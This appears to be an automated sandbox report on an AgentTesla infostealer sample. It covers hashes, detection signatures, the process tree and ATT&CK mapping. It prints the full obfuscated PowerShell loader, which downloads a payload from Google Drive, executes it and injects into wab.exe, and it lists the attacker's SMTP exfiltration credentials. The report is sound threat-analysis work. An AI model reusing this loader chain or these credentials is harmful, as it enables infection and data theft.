agenttesla | 1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556

General

Target

1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556.vbs
Size

22KB
MD5

bbf3e640e78ef04169cea2d4fdc8b99a
SHA1

0b989fe0ec4d245967375891f401e6eaad551a23
SHA256

1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556
SHA512

bed6cd983b87a20816ed12b5968fb30590f9907cda5ff9e9d8a17ba65fe9254a9203dcce6d172ce62bb2b44e6d75769535cc955e4df29875f583eacfd4e876d4
SSDEEP

384:KScT5cOUi2ZnbxPatJfRRI/DozpsMfdOpNLQ/JD31z3jVOcmjrKWALvW:KSc1fUZZnb5aHRRILod0NLQ/JD13jQh1

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
ReparaHogar2013

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
ReparaHogar2013
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs

resource	yara_rule
behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs

resource	yara_rule
behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1640	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	api.ipify.org
17	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1468	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2488	powershell.exe
1468	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2488 set thread context of 1468	2488	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2584	powershell.exe
2488	powershell.exe
2488	powershell.exe
1468	wab.exe
1468	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2488	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	1468	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 2584	1640	WScript.exe	28
PID 1640 wrote to memory of 2584	1640	WScript.exe	28
PID 1640 wrote to memory of 2584	1640	WScript.exe	28
PID 2584 wrote to memory of 2396	2584	powershell.exe	30
PID 2584 wrote to memory of 2396	2584	powershell.exe	30
PID 2584 wrote to memory of 2396	2584	powershell.exe	30
PID 2584 wrote to memory of 2488	2584	powershell.exe	32
PID 2584 wrote to memory of 2488	2584	powershell.exe	32
PID 2584 wrote to memory of 2488	2584	powershell.exe	32
PID 2584 wrote to memory of 2488	2584	powershell.exe	32
PID 2488 wrote to memory of 1512	2488	powershell.exe	33
PID 2488 wrote to memory of 1512	2488	powershell.exe	33
PID 2488 wrote to memory of 1512	2488	powershell.exe	33
PID 2488 wrote to memory of 1512	2488	powershell.exe	33
PID 2488 wrote to memory of 1468	2488	powershell.exe	34
PID 2488 wrote to memory of 1468	2488	powershell.exe	34
PID 2488 wrote to memory of 1468	2488	powershell.exe	34
PID 2488 wrote to memory of 1468	2488	powershell.exe	34
PID 2488 wrote to memory of 1468	2488	powershell.exe	34
PID 2488 wrote to memory of 1468	2488	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kardinalsystemerne Afslagning Knitwears #>;$Perfector=(cmd /c set /A 115^^0);Function Tetrapartite ([String]$Disrepair){$Perfector=[char][int]$Perfector;$Restaurationsklausulerne=$Perfector+'ubstring';$Shivaist=8;$Biplaneterne=Avlingen($Disrepair);For($Fylderistens=7; $Fylderistens -lt $Biplaneterne; $Fylderistens+=$Shivaist){$Cullisance=$Disrepair.$Restaurationsklausulerne.Invoke($Fylderistens, 1);$Ramninger181=$Ramninger181+$Cullisance;}$Ramninger181;}function Salamier ($Manipulative){& ($Filmcensurers) ($Manipulative);}function Avlingen ([String]$Barwal){$Putid=$Barwal.Length-1;$Putid;}$Borup=Tetrapartite 'IngeminTWatchinrNoden.ua SrhftenQuadratsEksportf SprngheKollektrFoppishrJ gerepiPers.cunS indtpgApholat ';$Eponymism=Tetrapartite ',undsavhSkol pltStnkelatPrecultpsvend.bsSpectro:Melonec/El,tedn/ Coercid NonopirYng,temi.diocravTagvrkeeCat nat.Headsmag .nerpeoDehydreoFre,hangfacetsllJoomshaeAlderwo.Duramencatonedbo Likvidmmarinea/ArbejdeuIn.oingc Vagtpo?Tilbageechal.zaxp umptspCoop,ato RvestorSulfon.tUan.eli=Indl,dtdSkihejsoDekomprwStad.dynUninebrl Bry.seo Brystna UnaltedDatamat&.esectiiPhilan.d Wedbe,=Borat b1OvervurAThinkin1ChalutzTIndgivnSConcoctskalotteMBrne sy6dr tsthFOverpreMUnpen iONonrepofOpslmme4UdfldenyUnjelleABifidlyAManu skU iavermyUdrulnivBlytkkeMindbankcUeffengw Bima,ofhjlpeteK ForfrihTurbinalEfrenaf8Bruye,erFornuftLRvekageNImpoverc GaleniehypoamiaHenregn ';$Filmcensurers=Tetrapartite 'Klejn riNazipare CembalxErhverv ';$Equilaterals=Tetrapartite 'Mosasau$Moretlag keandlGardi.poGasbaghbBlanketa Adiathl Comana:BhootunCMedholdoOversparTestudon Gro,see S.mfuniopmaerkt DegageiEivinsrs Ledsag Reattac=Semipen BombardSSammenktfka.ieoa BehenarBndellatSagsomk-GrsningBEducatei Ser.sftHild rssOperatiTPost.orrSerialia GlamounGjal,resReplanufSladdereTrk.ardrLieusti Arfved-AnnunciSHogtieioStrob suSpuleslrSaba onc S.ddleeMonophy Klbning$SammenbE CaselepEnematao S,vatmnPenucheyMinorismSinn.ngi ndelsbsverdensmstanche Bgespi-untactfDDisc.ideLivmod,s ristet Pemo,ii OverganOgdannaaWarwicktMete,vaiHus.ando.ixtybinSu,erla Greav,f$ osaikPHands,eoNooserspGaspedakArmbevgoInductsmNonrecipBlakketoMasselanBarograiUnsneakss udinet Lemlst ';Salamier (Tetrapartite 'Redescr$DriverlgStortrjlUndisowoRodtegnbP,ismrkafdestedlSkalles: enboenPRenskrioKommentpKategorkRub gosoMet ylomHovedstp Ansi.to ComatonNervekri RedaktsAtomubatMyri,gr=cosesre$RekommaeLipoidsn Infrigv,bxesre:Minde.sajerimiap Wisc npPrfabridParadokaMatrimotFarsereaObserva ') ;Salamier (Tetrapartite 'Mac andIRelaxedm Ent mbpForindsoS.rvicerTheorettEvadatt-Elv,ksaMByggelaoScariold,ekreeru MedborlSystemdePallado EntinctBHyperliiLovovertF dskifsPolyphaTKild.prrYd rvggaRisfuglnprostylsNationafCompla.eAfbudsrrToksine ') ;$Popkomponist=$Popkomponist+'\Togas.Sen' ;Salamier (Tetrapartite '.entyne$Unobeseg Tils alOrlogskoSkraanebCavoursa,egregalBnkerkk:Bal aniP StjaalhSta,funyEfterfosElefantaStjer,e=.olyval(BestillTKeroliteTurntabsbolig.itLamp.et- Fu.orsPLevemu.aTor illt.ewiggehFenrisf Interbl$AsexualPAgterdeo AugustpKkkengrkSvrtbevo Brush.mMidsommp Ventrio BisammnLampistiLenticos Grfabrt Amo al)Daemilj ') ;while (-not $Physa) {Salamier (Tetrapartite 'SoldaneITodusarfSolsort Forha.n(Ramp,ne$trich nCProcincoUnresper Asperin LiteraeTal.erkiStrikketBaa plaiEpicotysPredepl.Irr.denJGavntrho Agte,hboverbitSunres et Managea Bil,edtCuartineBegrnse Korvet-BasineteIdeologqVrdired Karlsen$Andels,BSludde o Sc.phorP,yinggu HonourpNeurolo)Crackne distru{SkamlbeSFaglrertGu,depoaBespre,rKrisefotride an-FaderesSMngdepalUnderriekkkenpee BestigpUnmono Placksu1Tasteru}PaucifyeQuatreflDiscomfsOptimale Us,ige{ParangiS AnodyntBr ttofaFrdigbyr EgresstS,inkdy-Br.esmoSplag arlSa.onifeTaphulsetonga.spgnotobi Xantho1Cosgrov;BlosterSPizz,caa KorisklMacrocoaTemperamStorma,iDepresseBarba,arPr toso Fibr.p$AgtbasiENoncorpq AktiviuDosmerniMendelel,onbitiaBrugerpt.jippedeEquipedrBerrugaa Untze l Ca ablsUbegave}T.lmate ');Salamier (Tetrapartite 'Ufor,le$OrthoepgSickeril ForsvaoArtierhbValgba.askarnsul sammen:NonvoidPScolopehLymphogyHistamisTmrerb aElsdyrh=U shrew(HoosgowTCranfulebut,erfs LrvilltCoplotk-KonsekvPPorcellaAfhngigtAmtsborh emissi Extermi$GypsousPudst rioStimlenpMunchiekGlaciolo StvninmPneumaspHommackoDawtsunnundotteiComfortsBrokkettStenfru)Galopba ') ;}Salamier (Tetrapartite 'Supersp$Spect.egVelf rtlLigateso Severib udskilaSrnumrelfoe.ens:,remmesRBermudaeSpasm thEks anseMiscognbReprse oUaccepttAtok.ldhHematom Hak eor=Deerwoo AntisiGGateposeShi.tintFragten-S.utskeC MinimioOverphinPo yesttDe,ickbeunzippinInsertstTa keba Medbe l$AnlgsfoPTelolecoMetermapoccurrikFortrnco CrosslmMi,bestpMtstatooRiftingnbrudenei.dificesDe.ospht For,or ');Salamier (Tetrapartite 'In,lejr$Anticatg PorticlCoakmoroClivussb AlbumiaImbibealZinckin:WaxflowHUnclutcy Di.zotbNonfactrFetterli tebirkd.uanepai hegnstsRuboutseNirlsu.dUndi,co7,penhea Flagell=Afmagne catefin[TriphenS AntydeyTitu ersVanningtTilvaereTube.kumHept te.,implexCSecuricoUnagingnGuaraunv Iag.taeKiasmesr UdradetDishuma] To,eho:Crossha:TontineFAttendirF.ekvenoElide.em,orrektBCajsunmadokumensUnthroneNyprisa6Oenanth4TonikasSSkrivertLabyrinrIronhaniSprink.nInds rigUnquitt( Lymphe$JinglinRIndkogse UngdomhSpi elieDia onabUnloos o jovinitAnliggehRedskab)E tente ');Salamier (Tetrapartite 'Opga.es$TastefugAutochtlIng uviot inedeb yskildaHyalophlPristal:DampersV Saale e LeksikjZingibee Ge.nemnBra.sche Gataab Sa oli=Hjernek Guldmn[ SuperbS Bi,manyrut,bacs DrogettPizza,seUlejligmWagnc,r.UnincreTDiametre GrundtxReindextAfferen.LerholdEKontoringasbordc Bitterobedrvesd WindfaiEmitternVerfwrigbaubles]Beretti: Film o:MestervAUl,racrSDatab,hCUnrestrIBocciasIUncapev.TiaarsdGAk,ivmae DitetitParimutSFutur,stCor.zosrAnticipiTilordnnPyr midgDi trou(Drum ea$FooldomH snurpeyCanadiebEnkeltsr ecopteiLuerautdT appisiStealthsM.lesheeBohemiad .adder7Delsind) Deport ');Salamier (Tetrapartite 'Afstden$BalmhuggDrea,scl Re.pito KettlebOverruna BukketlStangei:kelepdifPersonlaNtternemNykalk.i S,artklVirksomiFntrrinaGladiolr UkvemsiUansvartsignposeUndrunktUdviklieWeek,innToeveem=Fusenta$Moonsh VLau,cheeChunkinjK nkurse.imbulvnTr kimpeSpanier.modstilsElectrouTownswob,lindissUnbec.mtExograprOverturiGennemtnApprobegC.habit(Solduge3Srgelig0Stt kas5Similar8 S rnin7 Tr.lle9Afvbned,Surhed.3Ludo,ph0Lyssy,n6 Aniesr2 Forlov8Lediges) Guddom ');Salamier $familiariteten;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c set /A 115^^0
    3⤵
    PID:2396
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Kardinalsystemerne Afslagning Knitwears #>;$Perfector=(cmd /c set /A 115^^0);Function Tetrapartite ([String]$Disrepair){$Perfector=[char][int]$Perfector;$Restaurationsklausulerne=$Perfector+'ubstring';$Shivaist=8;$Biplaneterne=Avlingen($Disrepair);For($Fylderistens=7; $Fylderistens -lt $Biplaneterne; $Fylderistens+=$Shivaist){$Cullisance=$Disrepair.$Restaurationsklausulerne.Invoke($Fylderistens, 1);$Ramninger181=$Ramninger181+$Cullisance;}$Ramninger181;}function Salamier ($Manipulative){& ($Filmcensurers) ($Manipulative);}function Avlingen ([String]$Barwal){$Putid=$Barwal.Length-1;$Putid;}$Borup=Tetrapartite 'IngeminTWatchinrNoden.ua SrhftenQuadratsEksportf SprngheKollektrFoppishrJ gerepiPers.cunS indtpgApholat ';$Eponymism=Tetrapartite ',undsavhSkol pltStnkelatPrecultpsvend.bsSpectro:Melonec/El,tedn/ Coercid NonopirYng,temi.diocravTagvrkeeCat nat.Headsmag .nerpeoDehydreoFre,hangfacetsllJoomshaeAlderwo.Duramencatonedbo Likvidmmarinea/ArbejdeuIn.oingc Vagtpo?Tilbageechal.zaxp umptspCoop,ato RvestorSulfon.tUan.eli=Indl,dtdSkihejsoDekomprwStad.dynUninebrl Bry.seo Brystna UnaltedDatamat&.esectiiPhilan.d Wedbe,=Borat b1OvervurAThinkin1ChalutzTIndgivnSConcoctskalotteMBrne sy6dr tsthFOverpreMUnpen iONonrepofOpslmme4UdfldenyUnjelleABifidlyAManu skU iavermyUdrulnivBlytkkeMindbankcUeffengw Bima,ofhjlpeteK ForfrihTurbinalEfrenaf8Bruye,erFornuftLRvekageNImpoverc GaleniehypoamiaHenregn ';$Filmcensurers=Tetrapartite 'Klejn riNazipare CembalxErhverv ';$Equilaterals=Tetrapartite 'Mosasau$Moretlag keandlGardi.poGasbaghbBlanketa Adiathl Comana:BhootunCMedholdoOversparTestudon Gro,see S.mfuniopmaerkt DegageiEivinsrs Ledsag Reattac=Semipen BombardSSammenktfka.ieoa BehenarBndellatSagsomk-GrsningBEducatei Ser.sftHild rssOperatiTPost.orrSerialia GlamounGjal,resReplanufSladdereTrk.ardrLieusti Arfved-AnnunciSHogtieioStrob suSpuleslrSaba onc S.ddleeMonophy Klbning$SammenbE CaselepEnematao S,vatmnPenucheyMinorismSinn.ngi ndelsbsverdensmstanche Bgespi-untactfDDisc.ideLivmod,s ristet Pemo,ii OverganOgdannaaWarwicktMete,vaiHus.ando.ixtybinSu,erla Greav,f$ osaikPHands,eoNooserspGaspedakArmbevgoInductsmNonrecipBlakketoMasselanBarograiUnsneakss udinet Lemlst ';Salamier (Tetrapartite 'Redescr$DriverlgStortrjlUndisowoRodtegnbP,ismrkafdestedlSkalles: enboenPRenskrioKommentpKategorkRub gosoMet ylomHovedstp Ansi.to ComatonNervekri RedaktsAtomubatMyri,gr=cosesre$RekommaeLipoidsn Infrigv,bxesre:Minde.sajerimiap Wisc npPrfabridParadokaMatrimotFarsereaObserva ') ;Salamier (Tetrapartite 'Mac andIRelaxedm Ent mbpForindsoS.rvicerTheorettEvadatt-Elv,ksaMByggelaoScariold,ekreeru MedborlSystemdePallado EntinctBHyperliiLovovertF dskifsPolyphaTKild.prrYd rvggaRisfuglnprostylsNationafCompla.eAfbudsrrToksine ') ;$Popkomponist=$Popkomponist+'\Togas.Sen' ;Salamier (Tetrapartite '.entyne$Unobeseg Tils alOrlogskoSkraanebCavoursa,egregalBnkerkk:Bal aniP StjaalhSta,funyEfterfosElefantaStjer,e=.olyval(BestillTKeroliteTurntabsbolig.itLamp.et- Fu.orsPLevemu.aTor illt.ewiggehFenrisf Interbl$AsexualPAgterdeo AugustpKkkengrkSvrtbevo Brush.mMidsommp Ventrio BisammnLampistiLenticos Grfabrt Amo al)Daemilj ') ;while (-not $Physa) {Salamier (Tetrapartite 'SoldaneITodusarfSolsort Forha.n(Ramp,ne$trich nCProcincoUnresper Asperin LiteraeTal.erkiStrikketBaa plaiEpicotysPredepl.Irr.denJGavntrho Agte,hboverbitSunres et Managea Bil,edtCuartineBegrnse Korvet-BasineteIdeologqVrdired Karlsen$Andels,BSludde o Sc.phorP,yinggu HonourpNeurolo)Crackne distru{SkamlbeSFaglrertGu,depoaBespre,rKrisefotride an-FaderesSMngdepalUnderriekkkenpee BestigpUnmono Placksu1Tasteru}PaucifyeQuatreflDiscomfsOptimale Us,ige{ParangiS AnodyntBr ttofaFrdigbyr EgresstS,inkdy-Br.esmoSplag arlSa.onifeTaphulsetonga.spgnotobi Xantho1Cosgrov;BlosterSPizz,caa KorisklMacrocoaTemperamStorma,iDepresseBarba,arPr toso Fibr.p$AgtbasiENoncorpq AktiviuDosmerniMendelel,onbitiaBrugerpt.jippedeEquipedrBerrugaa Untze l Ca ablsUbegave}T.lmate ');Salamier (Tetrapartite 'Ufor,le$OrthoepgSickeril ForsvaoArtierhbValgba.askarnsul sammen:NonvoidPScolopehLymphogyHistamisTmrerb aElsdyrh=U shrew(HoosgowTCranfulebut,erfs LrvilltCoplotk-KonsekvPPorcellaAfhngigtAmtsborh emissi Extermi$GypsousPudst rioStimlenpMunchiekGlaciolo StvninmPneumaspHommackoDawtsunnundotteiComfortsBrokkettStenfru)Galopba ') ;}Salamier (Tetrapartite 'Supersp$Spect.egVelf rtlLigateso Severib udskilaSrnumrelfoe.ens:,remmesRBermudaeSpasm thEks anseMiscognbReprse oUaccepttAtok.ldhHematom Hak eor=Deerwoo AntisiGGateposeShi.tintFragten-S.utskeC MinimioOverphinPo yesttDe,ickbeunzippinInsertstTa keba Medbe l$AnlgsfoPTelolecoMetermapoccurrikFortrnco CrosslmMi,bestpMtstatooRiftingnbrudenei.dificesDe.ospht For,or ');Salamier (Tetrapartite 'In,lejr$Anticatg PorticlCoakmoroClivussb AlbumiaImbibealZinckin:WaxflowHUnclutcy Di.zotbNonfactrFetterli tebirkd.uanepai hegnstsRuboutseNirlsu.dUndi,co7,penhea Flagell=Afmagne catefin[TriphenS AntydeyTitu ersVanningtTilvaereTube.kumHept te.,implexCSecuricoUnagingnGuaraunv Iag.taeKiasmesr UdradetDishuma] To,eho:Crossha:TontineFAttendirF.ekvenoElide.em,orrektBCajsunmadokumensUnthroneNyprisa6Oenanth4TonikasSSkrivertLabyrinrIronhaniSprink.nInds rigUnquitt( Lymphe$JinglinRIndkogse UngdomhSpi elieDia onabUnloos o jovinitAnliggehRedskab)E tente ');Salamier (Tetrapartite 'Opga.es$TastefugAutochtlIng uviot inedeb yskildaHyalophlPristal:DampersV Saale e LeksikjZingibee Ge.nemnBra.sche Gataab Sa oli=Hjernek Guldmn[ SuperbS Bi,manyrut,bacs DrogettPizza,seUlejligmWagnc,r.UnincreTDiametre GrundtxReindextAfferen.LerholdEKontoringasbordc Bitterobedrvesd WindfaiEmitternVerfwrigbaubles]Beretti: Film o:MestervAUl,racrSDatab,hCUnrestrIBocciasIUncapev.TiaarsdGAk,ivmae DitetitParimutSFutur,stCor.zosrAnticipiTilordnnPyr midgDi trou(Drum ea$FooldomH snurpeyCanadiebEnkeltsr ecopteiLuerautdT appisiStealthsM.lesheeBohemiad .adder7Delsind) Deport ');Salamier (Tetrapartite 'Afstden$BalmhuggDrea,scl Re.pito KettlebOverruna BukketlStangei:kelepdifPersonlaNtternemNykalk.i S,artklVirksomiFntrrinaGladiolr UkvemsiUansvartsignposeUndrunktUdviklieWeek,innToeveem=Fusenta$Moonsh VLau,cheeChunkinjK nkurse.imbulvnTr kimpeSpanier.modstilsElectrouTownswob,lindissUnbec.mtExograprOverturiGennemtnApprobegC.habit(Solduge3Srgelig0Stt kas5Similar8 S rnin7 Tr.lle9Afvbned,Surhed.3Ludo,ph0Lyssy,n6 Aniesr2 Forlov8Lediges) Guddom ');Salamier $familiariteten;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c set /A 115^^0
      4⤵
      PID:1512
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
196cca8955d606e1f81f020718efa17a

SHA1
48be2ded89562068cca361decf5be13f5a58470e

SHA256
27b4284db3ada949b48b7459c9a6e447f8cb8e757addc0104c17e75f45fe3f9b

SHA512
a61f4c3a2a4cef6bd96dc934eab97b78132eeec7d7c952b4497f2ebd95f7c2fa978c445f99fb95d991bb13c717c765121aa9e2ab40415cbc26730f6914f1a6ea

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d46131aac88a2c9e293e6569e1385383

SHA1
f731216657b9451be860c1d49fb94515befc5b38

SHA256
f9f71a71dc4717b3656d6e1634478b133440e4de3d14aaa02cf85dd0661a992b

SHA512
2f28836e9cbbe645e668c5db5e459f77eb96a2260c88751c6ac8b8ca47dfe97edc15c0bca1b0232a303f658f1d1e667fc70be85a55cb8fe3d6a00ee17102b007

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab41C1.tmp

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarAE79.tmp

Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\278IBQ6VMYZYFVP9PIPH.temp

Filesize
7KB

MD5
1a436bcd2779b7b4631f34a54a308173

SHA1
1b3750c50f5a4200cac6849c4b52fbdebd0165b1

SHA256
3f0c03fbd790ab2efbf9bffd8266ffa36d8b0904e6e2ac7a68faf87769c0604a

SHA512
882d6484a9fb40360222f99293f1e22714fe02fb1af2330f98b21c207ff9e20fcadfc26094cb06a5290a9ca0042c489a049cce3f5d7d6ff853fd02f25971c8aa

Download Submit
memory/1468-88-0x0000000025530000-0x0000000025570000-memory.dmp

Filesize
256KB

Download
memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp

Filesize
16.4MB

Download
memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp

Filesize
264KB

Download
memory/1468-86-0x000000006EBD0000-0x000000006F2BE000-memory.dmp

Filesize
6.9MB

Download
memory/1468-125-0x000000006EBD0000-0x000000006F2BE000-memory.dmp

Filesize
6.9MB

Download
memory/1468-65-0x00000000006B0000-0x0000000001712000-memory.dmp

Filesize
16.4MB

Download
memory/1468-61-0x0000000077430000-0x0000000077506000-memory.dmp

Filesize
856KB

Download
memory/1468-60-0x0000000077466000-0x0000000077467000-memory.dmp

Filesize
4KB

Download
memory/1468-58-0x0000000077240000-0x00000000773E9000-memory.dmp

Filesize
1.7MB

Download
memory/1468-126-0x0000000025530000-0x0000000025570000-memory.dmp

Filesize
256KB

Download
memory/2488-32-0x0000000073280000-0x000000007382B000-memory.dmp

Filesize
5.7MB

Download
memory/2488-57-0x0000000077430000-0x0000000077506000-memory.dmp

Filesize
856KB

Download
memory/2488-33-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2488-50-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download
memory/2488-49-0x00000000067B0000-0x000000000BD5E000-memory.dmp

Filesize
85.7MB

Download
memory/2488-34-0x0000000073280000-0x000000007382B000-memory.dmp

Filesize
5.7MB

Download
memory/2488-35-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2488-47-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2488-55-0x0000000077240000-0x00000000773E9000-memory.dmp

Filesize
1.7MB

Download
memory/2488-54-0x0000000073280000-0x000000007382B000-memory.dmp

Filesize
5.7MB

Download
memory/2488-56-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2584-53-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2584-27-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2584-51-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2584-48-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2584-21-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2584-29-0x0000000002CC0000-0x0000000002CD2000-memory.dmp

Filesize
72KB

Download
memory/2584-28-0x000000001B470000-0x000000001B492000-memory.dmp

Filesize
136KB

Download
memory/2584-52-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2584-26-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2584-87-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2584-25-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2584-24-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2584-22-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2584-23-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads